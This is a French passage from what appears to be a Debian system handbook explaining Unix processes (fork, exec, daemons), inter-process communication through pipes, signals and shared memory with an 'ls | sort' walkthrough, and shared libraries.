Tout d'abord, un processus peut se dupliquer (on parle de fork). Le noyau alloue alors une nouvelle zone de mémoire pour le deuxième processus, de contenu identique à celle du premier, et se retrouve simplement avec un processus supplémentaire à gérer. À ce moment précis, la seule différence entre les deux processus est leur pid. Par convention, le nouveau processus est appelé le fils, alors que celui dont le pid n'a pas changé est appelé le père.

Il arrive que le processus fils reste tel quel et « vive sa vie », indépendamment de son père, avec ses propres données correspondant au programme initial. Néanmoins, le cas le plus fréquent est que ce fils exécute un autre programme ; à de rares exceptions près, sa zone mémoire est alors simplement remplacée par le nouveau programme, dont l'exécution démarre. C'est précisément ce mécanisme que le système d'initialisation (le processus n°1) exploite pour démarrer des services additionnels et exécuter la séquence de démarrage, jusqu'à aboutir au lancement d'une interface graphique pour l'utilisateur (la séquence des événements est décrite avec plus de détails dans la Section 9.1, « Démarrage du système »).

Lorsqu'un processus finit la tâche qui lui était dévolue, il se termine. Le noyau récupère alors la mémoire qui lui était affectée et cesse de lui distribuer des intervalles de temps d'exécution. Le processus père est informé de la destruction du fils : cela permet entre autres au père d'attendre la complétion d'une tâche sous-traitée. On retrouve ce mode de fonctionnement dans les interpréteurs de commandes (shells) : lorsque l'on tape une commande dans un shell, on ne retrouve l'invite que lorsqu'elle s'est terminée. La plupart des shells permettent cependant de ne pas attendre la fin de l'exécution d'une commande : il suffit pour cela de faire suivre le nom du programme à exécuter par &. On retrouve alors l'invite aussitôt, ce qui peut poser des problèmes si la commande a des données à afficher.

B.5.2. Démons

Un démon est un processus lancé automatiquement au démarrage et qui fonctionne en tâche de fond pour accomplir certaines tâches de maintenance ou fournir des services aux autres processus. Cette notion de « tâche de fond » est arbitraire et ne correspond à rien de particulier du point de vue du système : ce sont des processus comme les autres, qui sont exécutés chacun à leur tour pendant un bref intervalle de temps de la même manière que les applications visibles. La distinction est simplement humaine : un processus qui fonctionne sans interaction avec l'utilisateur (sans interface graphique, notamment) est dit fonctionner en tâche de fond ou en tant que démon.

VOCABULAIRE Démon, un terme péjoratif ?

Le terme démon est en réalité une transcription un peu hâtive de l'anglais daemon. Bien que l'origine grecque de ce mot ait également donné le mot demon, au sens de créature diabolique, le daemon est simplement à interpréter comme un aide, un auxiliaire (tout en gardant une dimension surnaturelle). Il n'y a pas en français de mot réellement adapté à ce concept, le sens du daemon anglais s'est donc retrouvé projeté sur le « démon » français et l'usage a consacré ce choix bien qu'il ne soit pas très heureux.

Plusieurs de ces démons sont détaillés dans le Chapitre 9, Services Unix.

B.5.3. Communications entre processus

Qu'il s'agisse de démons ou d'applications interactives, un processus isolé n'est souvent pas très utile. Il existe donc différentes méthodes permettant à des processus séparés de communiquer entre eux, soit pour s'échanger des données, soit pour se contrôler l'un l'autre. Le terme générique les désignant est InterProcess Communications (IPC) c'est-à-dire communications inter-processus.

Le système le plus simple est le fichier : le processus qui souhaite émettre des données les écrit dans un fichier dont le nom est convenu à l'avance ; le processus destinataire n'a alors qu'à lire ce fichier pour y récupérer les données.

Pour éviter que les données soient stockées sur un disque dur, on peut également utiliser un tuyau ou tube (pipe en anglais). Il s'agit simplement d'un système de communication où des octets écrits à un bout ressortent tels quels à l'autre bout. Si les deux extrémités sont contrôlées par deux processus différents, on obtient un canal de communication simple et pratique. Les tubes se décomposent en deux catégories. Un tube nommé dispose d'une entrée spéciale dans le système de fichiers (bien que les données qui y transitent n'y soient pas stockées) et les deux processus peuvent donc l'ouvrir indépendamment l'un de l'autre, si l'emplacement du tube nommé est connu. Dans les cas où l'on cherche à faire communiquer deux processus apparentés (par exemple un père et son fils), il est possible au père de créer un tube anonyme, dont héritera son fils après le fork ; les deux processus pourront alors s'échanger des données sans passer par le système de fichiers.

EN PRATIQUE Un exemple concret

Étudions ce qui se passe lorsqu'on lance une commande complexe (un pipeline) dans un shell. Supposons que nous ayons un processus bash (le shell standard sous Debian), de pid 4 374, dans lequel nous tapons la commande ls | sort.

Le shell commence par interpréter la commande saisie. En l'occurrence, il s'agit de deux programmes (ls et sort), avec un flux de données de l'un vers l'autre (noté par le caractère |, dit pipe). bash crée donc un tube anonyme (qui n'existe pour l'instant que pour lui seul).

Puis il se duplique ; on obtient donc un nouveau processus bash, de pid 4 521 (les pids sont de simples numéros abstraits et n'ont généralement pas de signification particulière). Ce processus n°4 521 hérite du tuyau anonyme, il pourra donc écrire du côté « entrée » ; bash redirige d'ailleurs le flux de sortie standard vers cette entrée du tuyau. Il se remplace ensuite par le programme ls, qui va lister le contenu du répertoire courant ; comme il écrit sur sa sortie standard et que celle-ci a été au préalable redirigée, le résultat est effectivement envoyé dans le tuyau.

Une opération similaire est effectuée pour la deuxième commande : bash se duplique de nouveau, on obtient alors un nouveau processus bash de numéro 4 522. Comme ce dernier est également un fils du n°4 374, il hérite aussi du tuyau ; bash branche alors la sortie du tuyau sur son flux d'entrée standard, puis se remplace par le programme sort, dont la vocation est de trier les données reçues et d'afficher le résultat.

Toutes les pièces sont maintenant en place : ls parcourt le répertoire courant et envoie la liste des fichiers dans le tuyau ; sort lit cette liste, puis la trie par ordre alphabétique et affiche le résultat. Les processus n°4 521 et n°4 522 se terminent alors et le 4 374, qui s'était mis en attente, reprend la main et affiche l'invite pour permettre à l'utilisateur de saisir une nouvelle commande.

Mais toutes les communications inter-processus ne servent pas à faire transiter des flux de données. Il arrive également que des applications aient simplement besoin de se transmettre des messages comme « suspendre l'exécution » ou « reprendre ». Unix (et donc Linux) fournit pour cela un mécanisme de signaux, par lequel un processus peut simplement envoyer un signal spécifique (parmi une liste prédéfinie de signaux) à un autre, simplement en connaissant son pid.

Pour des communications plus complexes, il existe aussi des mécanismes par lesquels un processus peut par exemple ouvrir l'accès d'une partie de sa zone mémoire à d'autres ; cette mémoire est alors partagée entre plusieurs processus, ce qui autorise à faire passer des données de l'un à l'autre.

Enfin, les connexions par le réseau peuvent également servir à faire communiquer différents processus, susceptibles de s'exécuter sur des ordinateurs différents (voire séparés de milliers de kilomètres).

Tous ces mécanismes sont utilisés, à des degrés divers, dans le fonctionnement normal d'un système Unix typique.

B.5.4. Bibliothèques

Les bibliothèques de fonctions jouent un rôle crucial dans le fonctionnement d'un système d'exploitation Unix. Ce ne sont pas à proprement parler des programmes, puisqu'elles ne s'exécutent pas indépendamment, mais des collections de fragments de programmes qui sont utilisés par des programmes classiques. Parmi les bibliothèques les plus courantes, citons par exemple :

- la bibliothèque C standard (glibc), qui contient des fonctions de base telles que celles permettant d'ouvrir des fichiers ou des connexions réseau, mais aussi de faciliter les interactions avec le noyau ;

- les boîtes à outils graphiques (toolkits), Gtk+ et Qt, qui permettent à de nombreux programmes de réutiliser les objets graphiques qu'elles proposent ;

- la bibliothèque libpng, qui charge, interprète et sauvegarde des images au format PNG.

L'existence de ces bibliothèques permet aux applications de réutiliser du code existant ; leur développement en est simplifié d'autant, surtout lorsque de nombreuses applications font appel aux mêmes fonctions. Comme les bibliothèques sont souvent développées par des personnes différentes, le développement global du système est ainsi plus proche de la philosophie historique d'Unix.

CULTURE La méthode Unix : une chose à la fois

Un des concepts qui sous-tend le fonctionnement général des systèmes d'exploitation de la famille Unix est que chaque outil ne devrait faire qu'une chose, mais la faire bien, les applications pouvant alors réutiliser ces outils et construire une logique plus poussée par-dessus. Cela transparaît dans de nombreux domaines. Les scripts shell sont peut-être le meilleur exemple : ils assemblent en des séquences complexes des outils très simples (grep, wc, sort, uniq, etc.). Une autre mise en pratique de cette philosophie est visible dans les bibliothèques de code : la libpng permet de lire et d'écrire des images au format PNG, avec différentes options et de différentes manières, mais elle ne fait que cela ; pas question pour elle de proposer des fonctions d'affichage ou d'édition.

De plus, ces bibliothèques sont souvent dites « partagées », parce que le noyau est capable de ne les charger qu'une fois en mémoire même si plusieurs processus y font appel. Si le code qu'elles contiennent était au contraire intégré dans les applications, il serait présent en mémoire autant de fois qu'il y a de processus qui l'utilisent.